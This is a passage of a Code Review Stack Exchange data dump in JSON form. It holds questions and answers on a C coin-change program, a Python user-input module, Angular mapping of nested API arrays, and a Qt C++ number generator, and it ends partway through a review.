"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T08:50:21.310",
"Id": "217428",
"ParentId": "217425",
"Score": "3"
}
},
{
"body": "<p>In general we want to initialize a variable directly to the value it needs, rather than to a temporary \"invalid\" value. This reduces complexity, and helps to prevent the accidental use of the \"invalid\" value as if it were a real input.</p>\n\n<p>We should also put variable declarations as close to the point of use as practical. (e.g. <code>z</code> could be declared at the point of assignment from <code>input</code>). It's best for variables to only exist in the scope in which they are needed.</p>\n\n<p>Note that the <code>input</code> variable is effectively reassigned 3 times, and used to represent 3 different things in the program. If we split the program into separate stages, this becomes clearer:</p>\n\n<pre><code>int main(void)\n{\n float input = -1; \n\n // here \"input\" is invalid - it's just a placeholder.\n\n // get user input (dollars):\n {\n do\n {\n printf(\"The amount of changed owed(in dollars) is \");\n input = get_float();\n }\n while (input < 0);\n }\n\n // here \"input\" is the amount of dollars as a float\n\n // convert input to cents:\n {\n input = input * 100;\n input = round(input);\n }\n\n // here \"input\" is the number of cents, as a float\n\n // calculate number of coins for change:\n {\n int z = input; // note we actually want the number of cents as an int...\n int counter = 0;\n\n ...\n\n printf(\"The number of minimum coins needed is %d\\n\", counter);\n }\n}\n</code></pre>\n\n<p>It's best to avoid reusing variables like this. Any name given to such a variable is inaccurate or very general (e.g. \"input\"). Also, when changing some part of the program, we have to understand and modify a much larger amount of code than would otherwise be necessary.</p>\n\n<p>Here, we can avoid reusing the variable by splitting the program up using functions, e.g.:</p>\n\n<pre><code>float get_dollar_input()\n{\n while (true)\n {\n printf(\"The amount of change owed (in dollars) is: \");\n\n const float dollars = get_float(); // variable initialized to actual value :)\n\n if (dollars < 0)\n {\n printf(\"Input must not be negative.\");\n continue;\n }\n\n return dollars;\n }\n}\n\nint convert_to_cents(float dollars)\n{\n return (int)round(dollars * 100);\n}\n\nint calculate_minimal_coins(int cents)\n{\n int counter = 0;\n\n // ...\n\n return counter;\n}\n\nint main(void)\n{\n const float dollars = get_dollar_input();\n const int cents = convert_to_cents(dollars);\n const int coins = calculate_minimal_coins(cents);\n\n printf(\"The minimum number of coins needed is %d\\n\", coins);\n}\n</code></pre>\n\n<hr>\n\n<p>When calculating the change, we do a lot of subtraction in a loop. For a large input (e.g. $200,457,298.46), this could take a looooooong time. We can use division to find the count of each coin, and the remainder (modulus) operator to apply the subtraction:</p>\n\n<pre><code>int calculate_minimal_coins(int cents)\n{\n const int quarters = cents / 25;\n cents %= 25;\n\n const int dimes = cents / 10;\n cents %= 10;\n\n const int nickels = cents / 5;\n cents %= 5;\n\n const int pennies = cents; /* unnecessary, but explanatory */\n\n return quarters + dimes + nickels + pennies;\n}\n</code></pre>\n\n<hr>\n\n<p>One last thing: <a href=\"https://stackoverflow.com/questions/3730019/why-not-use-double-or-float-to-represent-currency\">We should never use floating point variables to represent exact monetary values.</a> It would be better to ask the user for the number of cents as an integer (or perhaps to ask for two integers: one for dollars, and one for cents).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T10:49:16.663",
"Id": "420645",
"Score": "1",
"body": "taking a floating point input and converting to `int` right away, as OP has done, is perfectly safe for amounts up to trillions of dollars (as far as floating-point precision is concerned - you can't actually store those amounts in a 32-bit int). Asking a user to enter monetary amounts in cents presents far more possibility of error."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T20:32:14.920",
"Id": "420708",
"Score": "0",
"body": "Using `double` instead of `float` would make this usage acceptable. The type `float` only guarantees 6 decimal places."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T22:51:19.130",
"Id": "420835",
"Score": "0",
"body": "`200,457,298.46` converted to `int` cents overflow and is inaccurate with `float` anyways."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T22:55:19.890",
"Id": "420836",
"Score": "1",
"body": "Instead of `int convert_to_cents(float dollars)\n{\n return (int)round(dollars * 100);\n}`, consider `long long convert_to_cents(double dollars)\n{\n return llround(dollars * 100.0);\n}`\n\n`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T09:14:03.823",
"Id": "420884",
"Score": "0",
"body": "True. Probably the best thing overall would be to make the limitations of the program clear to the user by printing an error if the input is too large."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T10:11:39.190",
"Id": "217429",
"ParentId": "217425",
"Score": "9"
}
}
] | {
"AcceptedAnswerId": "217429",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T06:07:39.193",
"Id": "217425",
"Score": "5",
"Tags": [
"beginner",
"c",
"homework",
"floating-point",
"change-making-problem"
],
"Title": "Calculating the number of coins in money change"
} | 217425 |
<p>I posted part of this module earlier (<a href="https://codereview.stackexchange.com/questions/213627/forcing-the-user-to-choose-from-a-set-of-options-in-python/213632?noredirect=1#comment413491_213632">here</a>). I implemented that feedback and now am looking for another round of gut checking. <strong>Questions/Concerns I have</strong>:</p>
<ul>
<li>Does the way I've structured my functions make sense? Can they be broken down more/differently?</li>
<li>Is there a better way of doing the error handling? I feel like I'm repeating a lot of code, especially in <code>GetNumber</code>, <code>GetNumberInRange</code>, and <code>_AcceptAndValidateNumber</code></li>
<li>Anything else that will help me improve my coding skills</li>
</ul>
<p>Also, I'm not sure if I qualify as a beginner anymore, but I tagged it as such because I feel I still am.</p>
<p>Thanks in advance!</p>
<pre><code>"""
This module contains tools for getting input from a user.
At any point while getting input, the user may enter "quit", "exit", or
"leave" to raise a SystemExit exception and quit.
"""
import textwrap as tw
from enum import Enum, auto
_EXIT_WORDS = {"quit", "exit", "leave"}
class OutputMode(Enum):
"""
Used to determine the output of the GetNumber function
"""
INT = auto()
FLOAT = auto()
NUM = auto()
def GetStringChoice(prompt, **kwoptions):
"""
Print out the prompt and then return the input as long as it matches one
of the options (given as key/value pairs)
Example call:
>>> prompt = "Who is the strongest Avenger?"
>>> input_options = {
"t":"Thor",
"i":"Iron Man",
"c":"Captain America",
"h":"The Hulk"}
>>> response = GetStringChoice(prompt, **input_options)
Who is the strongest Avenger?
- 't' for 'Thor'
- 'i' for 'Iron Man'
- 'c' for 'Captain America'
- 'h' for 'The Hulk'
h
>>> response
'h'
Invalid results are rejected:
>>> response = GetStringChoice(prompt, **input_options)
Who is the strongest Avenger?
- 't' for 'Thor'
- 'i' for 'Iron Man'
- 'c' for 'Captain America'
- 'h' for 'The Hulk'
Ant-Man
That wasn't one of the options.
Who is the strongest Avenger?
...
"""
formatted_options = _get_formatted_options(**kwoptions)
print(tw.fill(prompt))
while True:
try:
print(formatted_options)
user_choice = input()
if user_choice in kwoptions:
return user_choice
elif user_choice in _EXIT_WORDS:
_SysExitMsg()
print("That wasn't one of the options.",)
except TypeError as t:
raise t
except SystemExit as s:
raise s
except Exception as e:
raise e
def _get_formatted_options(**kwoptions):
"""Formats a dictionary of options and returns them as a string"""
OPTION_TEMPLATE = " - '{0:{1}}' for '{2}'"
# The 1 as the second arg below is filler because format won't allow 0
# -2 ensures that the subsequent indent lines up with the first char
STR_PADDING = len(OPTION_TEMPLATE.format("", 1, "")) - 2
# This is used to adjust the section before the "-" to be as wide as the
# longest key
space = max(map(len, kwoptions))
pad_length = space + STR_PADDING
prompt_lines = []
for key in kwoptions:
# This wraps the text at the max line length and pads the new
# lines so it looks nice.
full_option = tw.fill(
kwoptions[key],
subsequent_indent=" " * pad_length)
prompt_lines.append(OPTION_TEMPLATE.format(key, space, full_option))
return "\n".join(prompt_lines)
def GetYesNo(prompt):
"""
Calls GetStringChoice and only allows yes or no as response. Return y/n.
Example:
>>> response = GetYesNo("Is Footloose still the greatest movie ever?")
Is Footloose still the greatest movie ever?
- 'y' for 'yes'
- 'n' for 'no'
It never was!
That wasn't one of the options.
Is Footloose still the greatest movie ever?
- 'y' for 'yes'
- 'n' for 'no'
n
>>> response
'n'
"""
return GetStringChoice(prompt, y="yes", n="no")
def GetTrueFalse(prompt):
"""
Calls GetStringChoice and only allows boolean response.
Return boolean True or False.
Example:
>>> GetTrueFalse("True or False: Star-Lord was responsible for"
"the team losing on Titan:")
True or False: Star-Lord was responsible for the team losing on Titan:
- 't' for 'True'
- 'f' for 'False'
f
False
>>>
"""
if GetStringChoice(prompt, t="True", f="False") == "t":
return True
return False
def GetNumber(prompt, min_opt=1, max_opt=10, data_type=OutputMode.NUM,
restrict_range=False):
"""
Return the user's choice of number.
If restrict_range=False, don't restrict the range (deafult).
Otherwise, restrict answer to between min/max_opt.
Use data_type to determine what type of number to return, passing in an
OutputMode enum. Examples:
- ui.OutputMode.NUM: whatever type the user entered (this is the default)
>>> my_num = GetNumber("Pick a number:")
Pick a number:
5.0
>>> my_num
5.0
>>> my_num = GetNumber("Pick a number:")
Pick a number:
5
>>> my_num
5
- ui.OutputMode.INT: integers
>>> my_num = GetNumber("Pick an integer:", 1, 10, ui.OutputMode.INT,
restrict_range=False)
Pick an integer:
(min = 1, max = 10)
5.0
>>> my_num
5
- ui.OutputMode.FLOAT: floats
>>> my_num = GetNumber("Pick an integer:", 1, 10, ui.OutputMode.FLOAT
restrict_range=False)
Pick an integer:
(min = 1, max = 10)
5
>>> my_num
5.0
"""
print(tw.fill(prompt))
if not restrict_range:
# User is not restricted to the min/max range
num_choice = _AcceptAndValidateNumber()
else:
num_choice = GetNumberInRange(min_opt, max_opt)
if data_type == OutputMode.NUM:
return num_choice
elif data_type == OutputMode.FLOAT:
return float(num_choice)
elif data_type == OutputMode.INT:
return int(num_choice)
def GetNumberInRange(min_opt, max_opt):
"""
Let the user pick a number
Return it as whatever data type the user used
"""
# This could live in a separate func but then it'd have to assign
# min/max_opt even when nothing changes
if max_opt < min_opt:
# Switch the order if the maximum is less than the minimum.
# This is done for aesthetics
min_opt, max_opt = max_opt, min_opt
if max_opt == min_opt:
# It makes no sense for these to be equal, so raise an error
raise ValueError("The min and max numbers should not be the same.\n")
print("(min = {0:,}, max = {1:,})".format(min_opt, max_opt))
while True:
try:
num_choice = _AcceptAndValidateNumber()
# Check to see if the num_choice is valid in our range
if eval("{0}<={1}<={2}".format(min_opt, num_choice, max_opt)):
return num_choice
print("Please pick a number between {0} and {1}.".format(
min_opt,
max_opt))
# The comma here places the user's response on the same line
except SystemExit as s:
raise s
except Exception as e:
raise e
def _AcceptAndValidateNumber():
"""
Accept a user's choice of number, and then return it as a float or int.
Type is determined by whether the user includes a decimal point.
"""
while True:
try:
num_choice = input()
if num_choice in _EXIT_WORDS:
_SysExitMsg()
# Return the corresponding number type
if num_choice.find(".") == -1:
return int(float(num_choice))
return float(num_choice)
except ValueError:
# Don't raise; just force the user back into the loop
print("Please pick a number.")
except SystemExit as s:
raise s
except Exception as e:
raise e
def _SysExitMsg(msg="Thanks!"):
"""
A consistent process for SystemExit when a user enters one of the
_EXIT_WORDS
"""
print(msg)
raise SystemExit # Raise the SystemExit exception again to exit
</code></pre>
<hr>
<p>I don't currently have unit tests for this module (I'm struggling with testing incorrect answers), so I use these functions as a way of running through the different variations of input this module can receive:</p>
<pre><code>def main():
"""
A demonstration function.
"""
_demonstrateGetNumber()
_demonstrateGetStringChoice()
def _demonstrateGetNumber():
print("""
Demonstration of GetNumber()
""")
print("Returns {0}\n".format(GetNumber(
"Step right up and pick a number, any number!")))
print("Returns {0}\n".format(GetNumber(
"Only integers this time (decimals will be rounded). "
"Pick any integer!",
data_type=OutputMode.INT)))
print("Returns {0}\n".format(GetNumber(
prompt="Now only an integer in the range below!",
data_type=OutputMode.INT,
restrict_range=True)))
print("Returns {0}\n".format(GetNumber(
"Now pick a float! (root beer not allowed)",
data_type=OutputMode.FLOAT)))
print("Returns {0}\n".format(GetNumber(
prompt="And finally, a float in the given range:",
min_opt=1,
max_opt=50,
data_type=OutputMode.FLOAT,
restrict_range=True)))
return None
def _demonstrateGetStringChoice():
print("""
Demonstration of GetStringChoice()
""")
print("Returns {0}\n".format(GetStringChoice(
"What does your mother smell of?", e="elderberries", h="hamster")))
print("Returns {0}\n".format(GetYesNo(
"That was just a little Python humor. Did you enjoy it?")))
print("Returns {0}\n".format(GetTrueFalse(
"Is it true that an African swallow could carry a coconut?")))
return None
</code></pre>
| [] | [
{
"body": "<p>I think this is a bit overkill. You basically have three requirements, either the user can choose from an iterable of allowed choices, has to enter something that can be interpreted as some specific type or be in some range.</p>\n\n<pre><code>EXIT = {\"quit\", \"exit\", \"leave\"}\n\ndef ask_user(message, type_=str, validator=None, invalid=\"Not valid\"):\n if validator is None:\n validator = lambda x: True\n while True:\n user_input = input(message)\n if user_input in EXIT:\n raise SystemExit\n try:\n x = type_(user_input)\n if validator(x):\n return x\n else:\n if isinstance(invalid, Exception):\n raise invalid\n else:\n print(invalid)\n except (ValueError, TypeError):\n print(\"Please pass a\", type_)\n</code></pre>\n\n<p>Your other functions are just special cases of this, no need to repeat everything:</p>\n\n<pre><code>def get_choice(message, choices):\n if isinstance(choices, dict):\n message += \"\\n\" + \"\\n\".join(f\"{k}) {v}\" for k, v in choices.items()) + \"\\n\"\n else:\n message += \"\\n\" + \"\\n\".join(choices) + \"\\n\"\n choices = set(choices)\n validator = lambda x: x in choices\n user_input = ask_user(message, validator=validator)\n if isinstance(choices, dict):\n return choices[user_input]\n else:\n return user_input\n\ndef get_yes_no(message):\n return get_choice(message, [\"yes\", \"no\"])\n\ndef get_true_false(message):\n return get_choice(message, [\"t\", \"f\"]) == \"t\"\n\ndef get_number(message, start=None, stop=None, data_type=float, invalid=None):\n if start is not None and stop is not None:\n validator = lambda x: start <= x < stop\n elif start is not None:\n validator = lambda x: start <= x\n elif stop is not None:\n validator = lambda x: x < stop\n else:\n validator = None\n if invalid is None:\n invalid = \"Please pick a number.\"\n return ask_user(message, data_type, validator, invalid)\n\ndef get_number_in_range(message, start, stop, data_type=int):\n message += f\"\\n(min = {start}, max = {stop - 1})\"\n invalid = f\"Please pick a number between {start} and {stop - 1}.\"\n return get_number(message, start, stop, data_type, invalid)\n</code></pre>\n\n<p>Note that Python has an official style-guide, <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP8</a>, which recommends using <code>lower_case</code> for variables and functions and only use <code>PascalCase</code> for classes.</p>\n\n<p>In addition, functions return <code>None</code> by default, you don't need to explicitly return it. (An argument can be made if you have different possible returns and in the case you do reach the end of the function you need it for clarity. But that is not the case here.)</p>\n\n<p>It does not make sense to <code>except</code> an exception and then just re-raise it without doing anything with it. At the minimum you would want to add some more information for the user.</p>\n\n<p>Silently truncating user input from an entered float to an int seems like a bad idea to me.</p>\n\n<p>Your tests read a bit like reverse polish notation, there is no harm done if you save the result of the user input in a variable first.</p>\n\n<p>In Python 3.6, a new way to format strings was introduced, the <code>f-string</code>. But even before you did not need the positional index in <code>str.format</code>, by default it will align to the order of the passed input.</p>\n\n<pre><code>def _demonstrate_get_number():\n print(\"\"\"\n Demonstration of get_number and get_number_in_range\n \"\"\")\n\n user_input = get_number(\"Step right up and pick a number, any number!\")\n print(f\"Returns {user_input}\\n\")\n\n user_input = get_number(\"Only integers this time. Pick any integer!\", data_type=int)\n print(f\"Returns {user_input}\\n\")\n\n user_input = get_number_in_range(\"Now only an integer in the range below!\", 1, 11)\n print(f\"Returns {user_input}\\n\")\n\n user_input = get_number(\"Now pick a float! (root beer not allowed)\")\n print(f\"Returns {user_input}\\n\")\n\n user_input = get_number_in_range(\"And finally, a float in the given range:\",\n 1, 51, data_type=float)\n print(f\"Returns {user_input}\\n\")\n\n\ndef _demonstrate_get_string_choice():\n print(\"\"\"\n Demonstration of get_choice()\n \"\"\")\n\n user_input = get_choice(\"What does your mother smell of?\", [\"elderberries\", \"hamster\"])\n print(f\"Returns {user_input}\\n\")\n\n user_input = get_choice(\"MCU or DCEU?\", {\"m\": \"MCU\", \"d\": \"DCEU\"})\n print(f\"Returns {user_input}\\n\")\n\n user_input = get_yes_no(\"That was just a little humor. Did you enjoy it?\")\n print(f\"Returns {user_input}\\n\")\n\n user_input = get_true_false(\"Is it true that an African swallow could carry a coconut?\")\n print(f\"Returns {user_input}\\n\")\n\nif __name__ == \"__main__\":\n _demonstrate_get_number()\n _demonstrate_get_string_choice()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T14:26:38.437",
"Id": "421199",
"Score": "1",
"body": "Thanks for the feedback! It's very helpful. I'm still learning to see more streamlined solutions to problems instead of big chunks that I solve independently."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T08:46:46.257",
"Id": "217474",
"ParentId": "217426",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "217474",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T06:49:06.620",
"Id": "217426",
"Score": "3",
"Tags": [
"python",
"beginner",
"python-3.x"
],
"Title": "Getting limited user input: strings and numbers"
} | 217426 |
<p>I have some selects on my html page that I want to populate with the response from my backend API.</p>
<p>The response looks like this</p>
<p><strong>JSON response</strong></p>
<pre><code>[
{
"_id": "5cb0673115b6d70016d293e5",
"delivery_mode": [
{
"_id": "5cb0673115b6d70016d293e7",
"name": "Delivery this"
},
{
"_id": "5cb0673115b6d70016d293e6",
"name": "Delivery that"
}
],
"interaction": [
{
"_id": "5cb0673115b6d70016d293e9",
"name": "Interaction now"
},
{
"_id": "5cb0673115b6d70016d293e8",
"name": "Interaction later"
}
],
"resolution_scope": [
{
"_id": "5cb0673115b6d70016d293eb",
"name": "Scope1"
},
{
"_id": "5cb0673115b6d70016d293ea",
"name": "Scope2"
}
],
"behaviour": [
{
"_id": "5cb0673115b6d70016d293ed",
"category": "Remember",
"verb": "aaaaa"
},
{
"_id": "5cb0673115b6d70016d293ec",
"category": "Analise",
"verb": "bbbbb"
}
],
"affective_objectives": [
{
"_id": "5cb0673115b6d70016d293ef",
"category": "Internalizing Values",
"verb": "aaaa"
},
{
"_id": "5cb0673115b6d70016d293ee",
"category": "Responding to Phenomena",
"verb": "ccccc"
}
],
"social_objectives": [
{
"_id": "5cb0673115b6d70016d293f1",
"name": "Social111"
},
{
"_id": "5cb0673115b6d70016d293f0",
"name": "Social2222"
}
],
"task_types": [
{
"_id": "5cb0673115b6d70016d293f3",
"category": "cat1",
"verb": "verb1"
},
{
"_id": "5cb0673115b6d70016d293f2",
"category": "cat2",
"verb": "verb2"
}
],
"psychologist": "5c94ffc82a6ff3368c31829e",
"__v": 0
},
{
"_id": "5cb1e4e1c746d70016f8a26d",
"delivery_mode": [
{
"_id": "5cb1e4e1c746d70016f8a26f",
"name": "test1"
},
{
"_id": "5cb1e4e1c746d70016f8a26e",
"name": "test2"
}
],
"interaction": [
{
"_id": "5cb1e4e1c746d70016f8a271",
"name": "test1"
},
{
"_id": "5cb1e4e1c746d70016f8a270",
"name": "test2"
}
],
"resolution_scope": [
{
"_id": "5cb1e4e1c746d70016f8a273",
"name": "reso1"
},
{
"_id": "5cb1e4e1c746d70016f8a272",
"name": "scope1"
}
],
"behaviour": [
{
"_id": "5cb1e4e1c746d70016f8a276",
"category": "Analise",
"verb": "aaaa"
},
{
"_id": "5cb1e4e1c746d70016f8a275",
"category": "Apply",
"verb": "fdsfsdf"
},
{
"_id": "5cb1e4e1c746d70016f8a274",
"category": "Analise",
"verb": "asdasd"
}
],
"affective_objectives": [
{
"_id": "5cb1e4e1c746d70016f8a278",
"category": "Organization",
"verb": "dfgdfg"
},
{
"_id": "5cb1e4e1c746d70016f8a277",
"category": "Responding to Phenomena",
"verb": "dfgdfg"
}
],
"social_objectives": [
{
"_id": "5cb1e4e1c746d70016f8a27a",
"name": "socialtest1"
},
{
"_id": "5cb1e4e1c746d70016f8a279",
"name": "socialtest2"
}
],
"task_types": [
{
"_id": "5cb1e4e1c746d70016f8a27b",
"category": "cattest1",
"verb": "verbtest1"
}
],
"psychologist": "5c94ffc82a6ff3368c31829e",
"__v": 0
}
]
</code></pre>
<p>To get the <code>name</code> fields from every <code>delivery_mode</code>, <code>interactio`` and</code>resolution_scope` and get those on an array that I can iterate over on the select options I've done this:</p>
<p><strong>TS</strong></p>
<pre><code> getAttributes() {
this.loading = true;
this.http.get<Attributes[]>('attributes')
.subscribe(
response => {
this.delivery_modes = response.map(response => response['delivery_mode'].map(dm => dm.name));
this.delivery_modes = [].concat.apply([], this.delivery_modes);
this.interactions = response.map(response => response['interaction'].map(dm => dm.name));
this.interactions = [].concat.apply([], this.interactions);
this.reso_scopes = response.map(response => response['resolution_scope'].map(dm => dm.name));
this.reso_scopes = [].concat.apply([], this.reso_scopes);
this.loading = false;
},
err => {
this.toastr.error(err.error.message, 'Error');
this.loading = false;
}
);
}
</code></pre>
<p><strong>HTML</strong></p>
<pre class="lang-html prettyprint-override"><code><select #delivery_mode="ngModel" class="form-control" name="delivery_mode" [(ngModel)]="form.activity.delivery_mode" required [ngClass]="{'is-invalid': isInvalid(delivery_mode)}">
<option *ngFor="let item of delivery_modes" [ngValue]="item">{{item}}</option>
</select>
</code></pre>
<p>Is the mapping supposed to be done this way?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-08-24T09:43:59.317",
"Id": "440851",
"Score": "0",
"body": "Would you have 3 different _select_ elements or one with all names?"
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T10:29:18.903",
"Id": "217430",
"Score": "2",
"Tags": [
"array",
"json",
"typescript",
"angular-2+"
],
"Title": "Mapping nested arrays from API response"
} | 217430 |
<p><em><a href="https://codereview.stackexchange.com/questions/217257/gui-number-generator-in-qt-c">Link to the old question.</a></em></p>
<p>I tried to learn some new things from the answers and here's what I did:</p>
<ol>
<li>Used Qt Designer so that in <code>Config.h</code>, all member variables and widget positioning are gone</li>
<li>User <strong><em>can't</em></strong> set the lower bound higher than the upper and vice versa</li>
<li>Replaced obsolete <code>qrand</code> with generators from the C++11 <code><random></code> library</li>
<li>Used the Qt5 version of <code>connect</code></li>
<li>Better UI with more options </li>
</ol>
<p>I like code which can be read as plain English text, that's why I made functions such as <code>_removeLastChar</code> or <code>_correctInputParameters</code> which are basically one-liners but, for me, improve readability a lot.</p>
<p>Code-review IMHO taught me the most about code quality that is why I am asking this "new" version.</p>
<p><a href="https://i.stack.imgur.com/gpGA8.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/gpGA8.png" alt="Screenshot"></a></p>
<p><strong>generator.h</strong></p>
<pre><code>#ifndef GENERATOR_H
#define GENERATOR_H
#include <QMainWindow>
class QSpinBox;
namespace Ui {
class Generator;
}
class Generator : public QMainWindow
{
Q_OBJECT
public:
explicit Generator(QWidget *parent = nullptr);
~Generator();
public slots:
void generateNumber();
void clear();
void saveToFile();
void setMinValue(int);
void setMaxValue(int);
private:
Ui::Generator *ui;
qint32 _generateNumber();
QString _getSeparator();
QString _nums;
bool _correctInputParameters();
bool _oneLineOutput();
void _generateNumbers( int from, int to, bool random );
void _removeLastChar( QString& string );
};
#endif // GENERATOR_H
</code></pre>
<p><strong>generator.cpp</strong></p>
<pre><code>#include "generator.h"
#include "ui_generator.h"
#include <random>
#include <iostream>
#include <QMessageBox>
#include <QTextStream>
#include <QFileDialog>
Generator::Generator(QWidget *parent)
: QMainWindow(parent)
, ui(new Ui::Generator)
{
ui->setupUi(this);
connect(ui->generateButton, &QPushButton::clicked, this, &Generator::generateNumber);
connect(ui->clearButton, &QPushButton::clicked, this, &Generator::clear);
connect(ui->saveButton, &QPushButton::clicked, this, &Generator::saveToFile);
connect(ui->exitButton, &QPushButton::clicked, this, &QApplication::exit);
connect(ui->minimumSpinBox, static_cast<void (QSpinBox::*)(int)>(&QSpinBox::valueChanged), this, &Generator::setMinValue);
connect(ui->maximumSpinBox, static_cast<void (QSpinBox::*)(int)>(&QSpinBox::valueChanged), this, &Generator::setMaxValue);
}
void Generator::generateNumber() {
clear();
int numbersCount = ui->numbers->value ();
_nums = "";
// random numbers
if ( ui->random->isChecked () ) {
_generateNumbers (0, numbersCount, true);
}
// sequential numbers
else {
int lower = ui->minimumSpinBox->value ();
int upper = ui->maximumSpinBox->value ();
_generateNumbers (lower, upper + 1, false);
}
ui->textEdit->setText (_nums);
}
void Generator::_generateNumbers( int low, int high, bool random ) {
QString separator = _getSeparator();
for ( qint32 i = low; i < high; ++i ) {
if ( random ) { // random
_nums += QString::number ( _generateNumber () );
}
else { // sequential
_nums += QString::number( i );
}
_nums += separator;
// output into multiple lines
if ( !_oneLineOutput () ) {
_nums += "\n";
}
}
// get rid of the last separator char
if ( _oneLineOutput () && separator != "" ) { _removeLastChar(_nums);}
}
void Generator::saveToFile () {
QString filename = QFileDialog::getSaveFileName (this,
tr("Save numbers"), "",
tr("Text file (*.txt);;All Files(*)"));
if ( filename.isEmpty () ) { return; }
QFile output( filename );
if ( !output.open(QIODevice::WriteOnly | QIODevice::Text) ) {
QMessageBox::information( this,
tr("Unable to open file"),
output.errorString() );
return;
}
QTextStream ts( &output );
ts << _nums.toUtf8 ();
output.close();
}
qint32 Generator::_generateNumber() {
std::random_device rd;
std::default_random_engine eng(rd());
std::uniform_int_distribution< qint32 > distr( ui->minimumSpinBox->value (),
ui->maximumSpinBox->value () );
return distr(eng);
}
QString Generator::_getSeparator() {
auto separator = ui->separator->currentText();
if ( separator == "(space)" ) return " ";
if ( separator == "(nothing)" ) return "";
return separator;
}
void Generator::setMinValue( int newValue ) {
auto maxValue = ui->maximumSpinBox->value ();
if ( newValue > maxValue ) { ui->minimumSpinBox->setValue ( maxValue ); }
}
void Generator::setMaxValue ( int newValue ) {
auto minValue = ui->minimumSpinBox->value ();
if ( newValue < minValue ) { ui->maximumSpinBox->setValue (minValue); }
}
void Generator::clear (){
ui->textEdit->clear ();
}
void Generator::_removeLastChar( QString &string ) {
string.remove ( string.size () - 1, 1 );
}
bool Generator::_correctInputParameters() {
return ui->minimumSpinBox->value () <= ui->maximumSpinBox->value ();
}
bool Generator::_oneLineOutput() {
return ui->oneLine->isChecked ();
}
Generator::~Generator() {
delete ui;
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T10:00:30.367",
"Id": "420764",
"Score": "0",
"body": "If you've used Designer, then the UI file you've edited is part of the complete code for review."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T11:14:38.187",
"Id": "420771",
"Score": "0",
"body": "Thanks. I originally wanted to show also `.ui` file but it contains ~500 lines so I decided not to. Should I append the `.ui` now when there is already the answer?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T11:17:07.490",
"Id": "420772",
"Score": "0",
"body": "Now that you have a review, you shouldn't add additional code to be reviewed; my comment was intended as a recommendation for future questions."
}
] | [
{
"body": "<p>Seems like you've made a lot of improvements since your previous post! Let's get into the review!</p>\n\n<h1>1. General Overview</h1>\n\n<h2>a. Use the <code>on_<objectName>_<signal></code> Naming Scheme for Slots</h2>\n\n<p>This naming scheme tells the moc to automatically connect a slot with the corresponding <code><signal></code> of <code><objectName></code> from the UI. We then don't need to call <code>connect(...)</code>, saving us a few lines of code.</p>\n\n<p>If we take a look at the <code>clearButton</code> UI object, we can get this auto-connect behaviour by renaming the <code>clear</code> method to <code>on_clearButton_clicked</code>. The implementation doesn't change, only the symbol.</p>\n\n<p>This process of pinpointing the correct slot name is automated from Design mode. First, right-click the object itself or the listing on the object-class tree. Then select the signal to connect and the slot to go to. Qt will automatically generate the <code>on_clearButton_clicked</code> slot in the header and source files (if it doesn't exist yet).</p>\n\n<p><a href=\"https://i.stack.imgur.com/YlGpk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YlGpk.png\" alt=\"Right-click on the Clear button and select Go to slot...\"></a><br>\n<sup>Right-click on your <kbd>Clear</kbd> button to bring up the context menu and select <em>Go to slot...</em></sup></p>\n\n<p><a href=\"https://i.stack.imgur.com/2WOWd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2WOWd.png\" alt=\"enter image description here\"></a><br>\n<sup>Choose the <em>clicked()</em> signal and click <kbd>OK</kbd>.</sup></p>\n\n<p>Now you no longer need manually connect with <code>connect(...)</code>. You can apply this to <code>generateButton</code>, <code>clearButton</code>, <code>saveButton</code>, <code>minimumSpinBox</code>, and <code>maximumSpinBox</code>. <em>Yay, 5 less lines of code! 5 less worries!</em></p>\n\n<p><em>(To be clear, <code>static_cast<void (QSpinBox::*)(int)></code> isn't needed for <code>minimumSpinBox</code>, and <code>maximumSpinBox</code> as the correct overload can be automatically deduced.)</em></p>\n\n<p>Also note that this naming scheme <em>doesn't have to be used for every slot</em> – it is primarily used for those slots which have a corresponding signal from the UI.</p>\n\n<h2>b. Consistency in Order of Methods in Header and Source Files</h2>\n\n<p>In your header file, the first four function-like declarations are</p>\n\n<pre><code>public:\n explicit Generator(QWidget *parent = nullptr);\n ~Generator();\npublic slots:\n void generateNumber();\n void clear();\n</code></pre>\n\n<p>However, in your source file, the definition for the destructor comes <em>last</em>. This harms readability. Most readers may be expecting the same ordering of methods in both header and source files. Does this mean the header file should conform to the ordering of the source file? Something like below perhaps?</p>\n\n<pre><code>public:\n explicit Generator(QWidget *parent = nullptr);\npublic slots:\n void generateNumber();\n void clear();\npublic:\n ~Generator();\n</code></pre>\n\n<p>Nawww, the <strong>source file should conform to the header file</strong>. Please, please, please; if you <em>declare</em> the destructor right after the constructor, <em>define</em> the destructor right after the constructor.</p>\n\n<pre><code>Generator::Generator(QWidget *parent)\n : QMainWindow(parent)\n , ui(new 